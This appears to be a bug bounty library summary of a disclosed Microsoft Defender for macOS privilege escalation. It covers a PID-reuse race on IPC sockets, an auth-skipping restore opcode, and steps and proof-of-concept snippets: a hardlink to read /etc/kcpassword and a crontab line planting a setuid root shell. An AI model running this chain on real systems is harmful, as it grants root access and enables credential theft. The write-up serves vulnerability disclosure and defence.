# Race Against the (Mac)hine: Local Privilege Escalation in Microsoft Defender for macOS

Microsoft Defender for macOS wdavdaemon validates IPC peers by pid+path, allowing a PID-reuse race to reach ungated opcodes yielding root file read and write.

- Payout: Research
- Severity: high
- Program: Microsoft
- Write-up by: Eugene Lim
- Disclosed: 2026-11-15
- CVE: CVE-2026-50657, CVE-2026-50658
- Write-up quality: 9/10
- Original: https://spaceraccoon.dev/race-against-the-machine-defender-macos-lpe/
- Library page: https://bugbountylibrary.com/r/blog%3Aspaceraccoon-dev-race-against-the-machine-defender-macos-lpe
- Tags: area:os domain:desktop impact:data-leak impact:privesc kind:research platform:research sev:high technique:chained technique:race-window technique:source-review vuln:path-traversal vuln:privilege-escalation vuln:race-condition

**Target:** wdavdaemon AF_UNIX IPC sockets (/var/run/wdavdaemon.sock, priv_wdavdaemon.sock)
**Root cause:** Peer validation captures LOCAL_PEERPID then checks proc_pidpath, a live path that changes on execve, creating a TOCTOU; additionally opcode 0x0f skips AuthorizationCopyRights and opcode 0x05 restore treats an absent auth optional as authorized.
**Steps:**
1. Fork many children; each does `socket(AF_UNIX, SOCK_STREAM)` and `connect("/var/run/wdavdaemon.sock")` so LOCAL_PEERPID freezes to the child pid.
2. Send `[16B header][u32 LE 0x0f]` to queue the request.
3. Immediately `execve("/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon_unprivileged.app/Contents/MacOS/wdavdaemon_unprivileged", ...)` so proc_pidpath returns an allowlisted signed path.
4. Daemon's proc_pidpath runs after execve, prefix match passes, handler runs.
5. For file read: call 0x0f, get world-readable ZIP path under wdavdiag; plant `link("/etc/kcpassword", "/Users/eugenelim/Library/Logs/Microsoft/Defender/microsoft_defender_app_logs.log")` so archiver reads root file via hardlink.
6. For file write: quarantine EICAR to get XOR(0x25) blob, replace with payload, send opcode 0x05 restore with `has_auth_blob = 0` and dest_path=/etc.
7. Create /etc/crontab with `* * * * * root /bin/sh -c 'cp /bin/zsh /tmp/lpe_root_shell; chown root:wheel /tmp/lpe_root_shell; chmod 4755 /tmp/lpe_root_shell'`; launchd starts cron; run `/tmp/lpe_root_shell -p`.
**How found:** Cross-platform variant analysis of 2026 Windows Defender CVEs (BlueHammer race, symlink validation); noticed macOS peer check uses frozen pid vs live path, and that macOS link(2) needs no target access unlike Windows hardlinks.
**Exploitation:** Win the PID-reuse race to bypass peer validation, then abuse ungated 0x0f for root arbitrary file read via hardlink into the user-owned log dir, or 0x05 restore with absent auth optional for root file create; chain /etc/crontab creation to root shell.
**Escalation:** File read escalates to credential theft (ShadowHashData, kcpassword); file create escalates to root via dormant com.vix.cron PathState on /etc/crontab, sidestepping LaunchDaemon root-ownership requirement.
**Insight:** On macOS, any privileged listener checking LOCAL_PEERPID then proc_pidpath is racy because execve updates the path before the check; and hardlinks pass regular-file filters that reject symlinks, so symlink-only fixes leave root file read open.

## Proof of concept (copied exactly from the original report)

**Restore request with absent auth blob bypass**

```
body (opcode 0x05 restore):
 u32 LE opcode = 5
 u32 LE pad = 0
 u64 LE tid_len + threat_id ; ASCII UUID, 36 bytes
 u32 LE sub_action = 1 ; restore
 u8 has_dest_path = 1
 u64 LE dest_len + dest_path ; daemon writes here, as root
 u8 has_auth_blob = 0 <-- THE BYPASS ; no bytes follow
```

**Hardlink to root-only file for arbitrary read**

```
link("/etc/kcpassword",
 "/Users/eugenelim/Library/Logs/Microsoft/Defender/microsoft_defender_app_logs.log");
```

**Cron payload for root shell**

```
* * * * * root /bin/sh -c 'cp /bin/zsh /tmp/lpe_root_shell; chown root:wheel /tmp/lpe_root_shell; chmod 4755 /tmp/lpe_root_shell'
```

